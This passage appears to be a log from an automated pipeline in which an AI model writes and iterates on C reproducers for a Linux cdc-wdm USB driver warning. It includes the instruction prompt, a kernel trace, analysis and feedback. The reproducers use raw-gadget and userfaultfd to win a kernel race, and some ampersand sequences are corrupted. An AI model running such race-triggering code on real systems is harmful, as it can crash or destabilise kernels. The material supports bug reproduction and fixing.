fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}]
Instruction: You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program for the strictly defensive
purpose of verifying a bugfix in an isolated environment.
To ensure that we can diagnose why a program might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful major step.
5. Generate code that follows this pattern for all operations:
int res = do_something();
if (res < 0) {
printf("[-] Failed to do_something: %s\n", strerror(errno));
exit(1);
}
printf("[+] do_something successful.\n");
6. The compilation and development environment (including compilers, build
systems, makefiles, and kernel build/header directories) is NOT available
on the target test VM guest. Do NOT check for, build, or reference any
compilation tools, build files, or kernel development directories.
7. Do NOT execute shell commands or run external binaries (e.g. by using
functions like 'system()', 'popen()', or the 'exec' family such as
'execve()'). All environment checks, capability probings, and reproduction
steps must be performed directly using standard Linux system calls (such
as 'open', 'socket', 'ioctl', 'stat', etc.).
8. When reproducing asynchronous kernel timeouts or warnings, always
include a sufficient delay (using sleep or similar) after deleting
or unregistering the device to allow the kernel's asynchronous
timeout to trigger before program exit.
=== PHASE 2: BUG REPRODUCTION (GENERATION) ===
You must now generate a full reproducer candidate attempting to trigger the target bug/crash.
Do NOT generate a probe program. Focus directly on triggering the bug/crash described in the description.
You can assume that all necessary kernel capabilities and privileges (e.g., access to /dev/vhci,
ability to load BPF programs, etc.) have already been verified and are available in the environment.
Do not spend too much time analyzing or trying to generate a perfect one-shot reproducer.
Instead, follow an iterative approach: generate a simple candidate, execute it, analyze the results,
and improve it. Keep your reasoning steps short and focused on the next logical experiment.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Bug Description: WARNING in service_outstanding_interrupt/usb_submit_urb
------------[ cut here ]------------
URB ffff888112540000 submitted while active
WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x1689/0x19b0 drivers/usb/core/urb.c:379, CPU#0: syz.0.163/5871
Modules linked in:
CPU: 0 UID: 0 PID: 5871 Comm: syz.0.163 Not tainted syzkaller #0 PREEMPT(lazy)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
RIP: 0010:usb_submit_urb+0x168c/0x19b0 drivers/usb/core/urb.c:379
Code: 00 48 8b 04 24 48 8b 90 b0 00 00 00 e9 70 ff ff ff bb ed ff ff ff e9 ac f1 ff ff e8 be 79 b2 fc 48 8d 3d d7 b6 19 06 48 89 de <67> 48 0f b9 3a bb f0 ff ff ff e9 8e f1 ff ff c7 44 24 30 00 00 00
RSP: 0018:ffffc90013e2fb50 EFLAGS: 00010293
RAX: 0000000000000000 RBX: ffff888112540000 RCX: 0000000000000000
RDX: ffff888112d28000 RSI: ffff888112540000 RDI: ffffffff8b1c35d0
RBP: ffff88810ffb5090 R08: 0000000000000001 R09: 0000000000000000
R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000000
R13: ffff88810ffb52b8 R14: ffff88810ffb5050 R15: ffff88810ffb5050
FS: 00007f59984c56c0(0000) GS:ffff8882683e4000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 000000110c2d13ca CR3: 00000001149e4000 CR4: 00000000003506f0
Call Trace:
<TASK>
service_outstanding_interrupt.isra.0+0x166/0x270 drivers/usb/class/cdc-wdm.c:509
wdm_read+0x8a8/0xaf0 drivers/usb/class/cdc-wdm.c:615
vfs_read+0x1e4/0xb40 fs/read_write.c:572
ksys_read+0x12a/0x250 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
do_syscall_64+0x119/0x710 arch/x86/entry/syscall_64.c:84
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f5999aae159
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f59984c5028 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f5999d36180 RCX: 00007f5999aae159
RDX: 00000000000000b3 RSI: 0000200000000340 RDI: 000000000000001e
RBP: 00007f5999b45024 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f5999d36218 R14: 00007f5999d36180 R15: 00007ffc3efb3688
</TASK>
----------------
Code disassembly (best guess):
0: 00 48 8b add %cl,-0x75(%rax)
3: 04 24 add $0x24,%al
5: 48 8b 90 b0 00 00 00 mov 0xb0(%rax),%rdx
c: e9 70 ff ff ff jmp 0xffffff81
11: bb ed ff ff ff mov $0xffffffed,%ebx
16: e9 ac f1 ff ff jmp 0xfffff1c7
1b: e8 be 79 b2 fc call 0xfcb279de
20: 48 8d 3d d7 b6 19 06 lea 0x619b6d7(%rip),%rdi # 0x619b6fe
27: 48 89 de mov %rbx,%rsi
* 2a: 67 48 0f b9 3a ud1 (%edx),%rdi <-- trapping instruction
2f: bb f0 ff ff ff mov $0xfffffff0,%ebx
34: e9 8e f1 ff ff jmp 0xfffff1c7
39: c7 .byte 0xc7
3a: 44 24 30 rex.R and $0x30,%al
3d: 00 00 add %al,(%rax)
Strategy: An analysis of the failure reveals that the `raw-gadget` driver rejected the `USB_RAW_IOCTL_EVENT_FETCH` ioctl with `-EINVAL` because the device state transitioned to `STATE_DEV_FAILED`. This happened because the gadget thread incorrectly handled the `USB_REQ_SET_CONFIGURATION` Control request.
`USB_REQ_SET_CONFIGURATION` is an OUT request (or zero-length request), which means the host expects to send data to the device (or just complete the status stage). In the `raw-gadget` driver, this sets `ep0_out_pending = true`. However, the previous reproducer called `USB_RAW_IOCTL_EP0_WRITE` (which implies an IN transfer) to respond to it. This mismatch triggered a `WARN_ON` in `raw_process_ep0_io()` and forced the device into a failed state, aborting the enumeration.
To fix this, we must use `USB_RAW_IOCTL_EP0_READ` for `USB_REQ_SET_CONFIGURATION` and any other OUT requests.
Here is the corrected C reproducer:
```c
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
event_set(&gadget_ready);
}
} else {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
// Send first notification
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Send second notification (increments resp_count to 2)
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Wait for read() to block in copy_to_user
event_wait(&read_blocked);
// Send STALL on EP1 IN to trigger wdm_rxwork
ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in);
// Wait for wdm_rxwork to start and submit the URB
usleep(100000);
// Resolve userfaultfd, allowing read() to finish and call service_outstanding_interrupt
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
ioctl(uffd, UFFDIO_COPY, ©);
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
usleep(500000); // Wait for /dev/cdc-wdm0 to appear
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
fprintf(stderr, "Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
// This will block until data is available, then hit the userfaultfd
read(fd_wdm, addr, 10);
sleep(1);
return 0;
}
```
Previous Reproducer Attempt:
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType == 0x80 && req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0x00 && req->bRequest == USB_REQ_SET_CONFIGURATION) {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
Execution Results & Debugging Feedback:
The reproduction attempt failed. The program timed out after 2m30s without triggering the bug.
Console logs show that the dummy HCD failed to enumerate the USB device:
[ 70.345385][ T5707] usb 1-1: device descriptor read/64, error -110
[ 71.555723][ T5707] usb usb1-port1: unable to enumerate USB device
Additionally, the kernel logged: `raw-gadget.0 gadget.0: ignoring, device is not running`.
Strace output reveals that the reproducer is stuck in a busy loop calling `ioctl(3, USB_RAW_IOCTL_EVENT_FETCH)` (which corresponds to `_IOC(_IOC_READ, 0x55, 0x2, 0x48)`), and it is repeatedly returning `-1 EINVAL`.
In the `raw-gadget` driver, `USB_RAW_IOCTL_EVENT_FETCH` returns `-EINVAL` if the gadget is not in the `STATE_RUNNING` state.
To fix this:
1. Ensure that `USB_RAW_IOCTL_RUN` is successfully called and check its return value before attempting to fetch events.
2. If `USB_RAW_IOCTL_RUN` is successful, the reproducer must correctly handle endpoint 0 setup requests. When a `USB_RAW_EVENT_CONTROL` event is received, the reproducer must parse the setup packet and respond with the appropriate descriptors (Device, Configuration, etc.) using `USB_RAW_IOCTL_EP0_WRITE` or `USB_RAW_IOCTL_EP0_READ`. If the reproducer does not respond to the host's `Get Descriptor` requests, the enumeration will fail with error `-110` (timeout), and the device will not be instantiated.
3. Make sure to handle `EINVAL` or other errors from `EVENT_FETCH` gracefully rather than busy-looping indefinitely.
|
| 216/4 |
2026/09/11 22:50 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 13719
output: 30
thoughts: 2920
Thoughts: **Debugging the `service_outstanding_interrupt` Bug**
